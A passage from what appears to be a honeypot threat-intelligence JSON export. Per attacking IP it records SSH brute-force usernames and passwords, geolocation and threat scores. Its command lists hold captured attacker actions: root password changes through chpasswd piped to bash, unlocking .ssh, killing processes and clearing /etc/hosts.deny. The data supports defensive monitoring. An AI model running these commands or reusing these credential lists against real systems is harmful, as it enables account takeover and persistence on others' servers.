        "echo \"us3r\\nV9J3D6ANKlKe\\nV9J3D6ANKlKe\\n\"|passwd",
        "echo -e \"12345678\\nTHMzvhoQY5QY\\nTHMzvhoQY5QY\"|passwd|bash",
        "echo -e \"qwerty\\npuc4bntoAJfF\\npuc4bntoAJfF\"|passwd|bash",
        "echo -e \"test3\\nTJtClNBaVzDD\\nTJtClNBaVzDD\"|passwd|bash",
        "echo -e \"us3r\\nV9J3D6ANKlKe\\nV9J3D6ANKlKe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 197540,
      "as_org": "netcup GmbH",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 633,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:24:10.961000+00:00",
        "last_seen_30d": "2026-05-14T08:19:33.680000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 511,
        "Suricata": 122
      }
    },
    "159.196.13.162": {
      "attack_count": 497,
      "first_seen": "2026-05-06T09:33:00.111Z",
      "last_seen": "2026-05-07T12:26:25.795Z",
      "sessions": 218,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.0",
        "",
        "\u001b%-12345X@PJL INFO ID",
        "0000",
        "<Request version = \"1.0\" timestamp = \"6/3/2003 10:14:11 AM\">",
        "Byte-Range: 1-0/0",
        "CNHO localhost",
        "CNIP: 127.0.0.1",
        "CONNECT {}",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "Content-Length: 0",
        "Content-Type: application/ipp",
        "Domain-Member=No",
        "FROM: <>",
        "From-Path: msrp://localhost:1234/nsid",
        "From: <sip:nm@nm>;tag=root",
        "GET /?CAVIT HTTP/1.1",
        "GET /api HTTP/1.0"
      ],
      "passwords_attempted": [
        "",
        "Host: localhost",
        "$4",
        "\u0001\u0000",
        "\u001b%-12345X",
        "    <param id = \"_ActionId\" value = \"PING\" type = \"string\"/>",
        "Accept: application/sdp",
        "CNPO: 1981",
        "CSeq: 1",
        "CSeq: 42 OPTIONS",
        "Client-DPAP-Version: 1.1",
        "Content-Length: 0",
        "Content-Length: 75",
        "EHLO: nsid",
        "ID=1",
        "IP-Address=127.0.0.1",
        "Message-ID: 1",
        "Name=nsid",
        "Nmap",
        "PING"
      ],
      "commands_executed": [
        "INFO",
        "info"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.command.input"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Brisbane",
      "asn": 4764,
      "as_org": "Aussie Broadband",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 27427,
        "days_active_30d": 26,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T09:23:07.049000+00:00",
        "last_seen_30d": "2026-05-31T08:30:08.416000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14782,
        "Honeytrap": 12148,
        "Cowrie": 497
      }
    },
    "213.86.98.203": {
      "attack_count": 425,
      "first_seen": "2026-05-08T01:46:06.657Z",
      "last_seen": "2026-05-08T02:49:40.003Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "debian",
        "admin",
        "daemon",
        "dev",
        "developer",
        "backup",
        "docker",
        "dspace"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "21",
        "321",
        "P455word",
        "P@$word",
        "Pa$w0rd",
        "Pa$word",
        "Pa55w0rd",
        "Pa55word",
        "Password",
        "admin12",
        "backup12",
        "daemon",
        "daemon1"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "D\u00fcsseldorf",
      "asn": 8220,
      "as_org": "COLT Technology Services Group Limited",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 607,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:44:19.006000+00:00",
        "last_seen_30d": "2026-05-08T02:50:43.247000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 425,
        "Suricata": 182
      }
    },
    "103.146.23.85": {
      "attack_count": 414,
      "first_seen": "2026-05-08T01:27:27.933Z",
      "last_seen": "2026-05-08T21:10:34.007Z",
      "sessions": 207,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131366,
      "as_org": "Lanit Technology and Communication Joint Stock Company",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 743,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:27:27.933000+00:00",
        "last_seen_30d": "2026-05-08T21:47:50.683000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 329
      }
    },
    "181.123.136.11": {
      "attack_count": 368,
      "first_seen": "2026-05-15T17:19:51.888Z",
      "last_seen": "2026-05-24T15:52:11.590Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd-sync",
        "io",
        "linux",
        "nvidia",
        "udev-monitor"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "linux123",
        "warnight",
        "123QWEasd123",
        "123qwe,.",
        "1qaz@wsx",
        "23dec1987",
        "Push@8240",
        "Qwerty@2018",
        "Root1234567890",
        "Usman@123",
        "Zxc123456",
        "hesoyam",
        "io",
        "nvidia",
        "qazwsx123!",
        "qwe123.",
        "r4h4514",
        "salope"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:fevBWEspiPhG\"|chpasswd|bash",
        "echo \"root:m36VBiSEu4VZ\"|chpasswd|bash",
        "echo \"root:tlndJ1IsrBQ2\"|chpasswd|bash",
        "echo \"warnight\\n9cohBt5UUaCd\\n9cohBt5UUaCd\\n\"|passwd",
        "echo -e \"warnight\\n9cohBt5UUaCd\\n9cohBt5UUaCd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Limpio",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:19:51.888000+00:00",
        "last_seen_30d": "2026-05-24T15:53:13.875000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 368,
        "Suricata": 71
      }
    },
    "156.227.233.77": {
      "attack_count": 319,
      "first_seen": "2026-05-23T16:34:41.847Z",
      "last_seen": "2026-05-25T02:56:10.285Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "sachin",
        "ubuntu",
        "abhishek",
        "admin",
        "curl",
        "ec2-user",
        "fan",
        "jason",
        "john",
        "prueba",
        "sai",
        "sfc",
        "student",
        "testing",
        "web"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "0",
        "123",
        "1234",
        "123456",
        "12345678AA",
        "A1s2d3f4g5",
        "Asdf1234!",
        "Garena123",
        "Pass@123456",
        "Qaz123!@#",
        "Qwerty123",
        "Wangsu@2017",
        "Welcome@2025",
        "Wo123456",
        "abhishek",
        "alpha001",
        "fan"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nk1Tq9q3C1WsL\\nk1Tq9q3C1WsL\\n\"|passwd",
        "echo \"Wangsu@2017\\nJXJnhAEPMLty\\nJXJnhAEPMLty\\n\"|passwd",
        "echo -e \"1234\\nk1Tq9q3C1WsL\\nk1Tq9q3C1WsL\"|passwd|bash",
        "echo -e \"Wangsu@2017\\nJXJnhAEPMLty\\nJXJnhAEPMLty\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 409,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:34:41.847000+00:00",
        "last_seen_30d": "2026-05-25T02:57:10.527000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 319,
        "Suricata": 90
      }
    },
    "180.115.168.126": {
      "attack_count": 296,
      "first_seen": "2026-05-19T18:21:00.841Z",
      "last_seen": "2026-05-20T10:04:26.175Z",
      "sessions": 148,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 445,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:21:00.841000+00:00",
        "last_seen_30d": "2026-05-20T10:05:30.434000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 296,
        "Suricata": 149
      }
    },
    "5.11.135.25": {
      "attack_count": 276,
      "first_seen": "2026-05-19T06:29:04.810Z",
      "last_seen": "2026-05-22T18:13:49.889Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "ilya",
        "local",
        "oracle",
        "stas",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123321",
        "123QWEasd123",
        "123admin",
        "123qwe,.",
        "1qaz@WSX",
        "23dec1987",
        "3245gs5662d34",
        "Ab123456@",
        "P@ssw0rd.123",
        "Qwerty@2018",
        "claude",
        "dominator",
        "emma123",
        "hesoyam",
        "hola1234",
        "ilya",
        "inspur",
        "lefty",
        "local123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:VDTtyZHfOegb\"|chpasswd|bash",
        "echo \"root:VIndwxdfr6Q3\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "\u0130zmit",
      "asn": 16135,
      "as_org": "Turkcell Iletisim Hizmetleri A.s.",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:29:04.810000+00:00",
        "last_seen_30d": "2026-05-22T18:14:54.628000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 276,
        "Suricata": 87
      }
    },
    "207.180.206.71": {
      "attack_count": 258,
      "first_seen": "2026-05-02T22:41:23.505Z",
      "last_seen": "2026-05-03T02:14:55.476Z",
      "sessions": 129,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 406,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T22:41:23.505000+00:00",
        "last_seen_30d": "2026-05-03T02:16:03.035000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 258,
        "Suricata": 148
      }
    },
    "52.230.188.178": {
      "attack_count": 228,
      "first_seen": "2026-05-17T02:12:39.139Z",
      "last_seen": "2026-05-17T03:08:31.690Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sftpuser",
        "345gs5662d34",
        "admin",
        "ansadmin",
        "ashish",
        "dev",
        "elasticsearch",
        "janusz",
        "kamil",
        "rails",
        "steam",
        "system",
        "trader"
      ],
      "passwords_attempted": [
        "0708228AsBs!",
        "123",
        "12345",
        "1234567890",
        "20192019",
        "3245gs5662d34",
        "345gs5662d34",
        "Ab123456",
        "Kc@123456",
        "asdf;lkj",
        "ashish123",
        "devpass",
        "elasticsearch@1234",
        "janusz",
        "kamil123",
        "penis123",
        "qf123456@",
        "rails",
        "steam123",
        "test123$"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234567890\\nk6qRkzyBrJn7\\nk6qRkzyBrJn7\\n\"|passwd",
        "echo \"devpass\\nF39KwVPI32um\\nF39KwVPI32um\\n\"|passwd",
        "echo -e \"1234567890\\nk6qRkzyBrJn7\\nk6qRkzyBrJn7\"|passwd|bash",
        "echo -e \"devpass\\nF39KwVPI32um\\nF39KwVPI32um\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T02:12:39.139000+00:00",
        "last_seen_30d": "2026-05-17T03:09:37.280000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 228,
        "Suricata": 54
      }
    },
    "58.98.197.137": {
      "attack_count": 223,
      "first_seen": "2026-05-29T09:40:43.115Z",
      "last_seen": "2026-05-29T10:29:53.460Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "lenovo",
        "root",
        "345gs5662d34",
        "admin",
        "fred",
        "git",
        "joe",
        "keycloak",
        "kubeadmin",
        "mosquitto",
        "n8n",
        "root/1234567",
        "stefano",
        "valheim",
        "zone"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "lenovo",
        "#EDC4rfv5tgb",
        "123",
        "1234",
        "123456",
        "Dd123123",
        "fjbdfdjkdsfs541544",
        "fred",
        "git@2025",
        "keycloak",
        "kubeadmin",
        "n8n2026",
        "root",
        "stefano",
        "temp123",
        "valheim"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"lenovo\\nO8dmB5uno0dG\\nO8dmB5uno0dG\\n\"|passwd",
        "echo \"lenovo\\nXkoCfdIt5whT\\nXkoCfdIt5whT\\n\"|passwd",
        "echo -e \"lenovo\\nO8dmB5uno0dG\\nO8dmB5uno0dG\"|passwd|bash",
        "echo -e \"lenovo\\nXkoCfdIt5whT\\nXkoCfdIt5whT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Nishinomiya",
      "asn": 9595,
      "as_org": "NTT-ME Corporation",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 275,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T09:40:43.115000+00:00",
        "last_seen_30d": "2026-05-29T10:30:58.293000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 223,
        "Suricata": 52
      }
    },
    "181.188.172.6": {
      "attack_count": 222,
      "first_seen": "2026-05-27T11:35:27.151Z",
      "last_seen": "2026-05-27T12:12:19.358Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd",
        "alex",
        "devops",
        "mohammad",
        "multi",
        "ping",
        "ubuntu",
        "user_01",
        "zabbix"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123.com",
        "123456789",
        "Ab112233",
        "QAZwsx!@#123",
        "Voidsetdownload.so",
        "Zabbix@123",
        "devops123!",
        "fghjkl",
        "fjbdfdjkdsfs541544AA@@",
        "mohammad",
        "multi",
        "p@55wOrd",
        "ping123",
        "qb",
        "qwertyui",
        "user_01",
        "welcome@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Voidsetdownload.so\\nRviGJegGxW1X\\nRviGJegGxW1X\\n\"|passwd",
        "echo \"root:bs0zVByN9c8b\"|chpasswd|bash",
        "echo -e \"Voidsetdownload.so\\nRviGJegGxW1X\\nRviGJegGxW1X\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 27882,
      "as_org": "Telefonica Celular de Bolivia S.A.",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 276,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T11:35:27.151000+00:00",
        "last_seen_30d": "2026-05-27T12:13:24.349000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 222,
        "Suricata": 54
      }
    },
    "154.209.4.208": {
      "attack_count": 218,
      "first_seen": "2026-05-05T23:52:18.913Z",
      "last_seen": "2026-05-06T00:18:43.976Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dev",
        "erpnext",
        "ftpuser",
        "sammy",
        "student1",
        "sysadm",
        "ubuntu"
      ],
      "passwords_attempted": [
        "#EDC4rfv5tgb",
        "11235813",
        "1234",
        "1234567890",
        "123456Wl",
        "123456go",
        "1234qwer!!",
        "3245gs5662d34",
        "345gs5662d34",
        "520laopo",
        "891007",
        "9527",
        "AbcAbc123",
        "Ai123456",
        "Beijing2008",
        "Bi123456",
        "Bismillah@123",
        "Kr123456@",
        "Password123#",
        "Qazwsx123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:HSZ8Eg4CPLhP\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:52:18.913000+00:00",
        "last_seen_30d": "2026-05-06T00:19:46.556000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "176.65.132.5": {
      "attack_count": 193,
      "first_seen": "2026-05-05T23:11:22.867Z",
      "last_seen": "2026-05-17T12:36:08.028Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "debian",
        "admin",
        "root",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "temppwd",
        "admin",
        "1234",
        "root",
        "ubnt"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 312,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:11:22.867000+00:00",
        "last_seen_30d": "2026-05-17T12:37:16.592000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
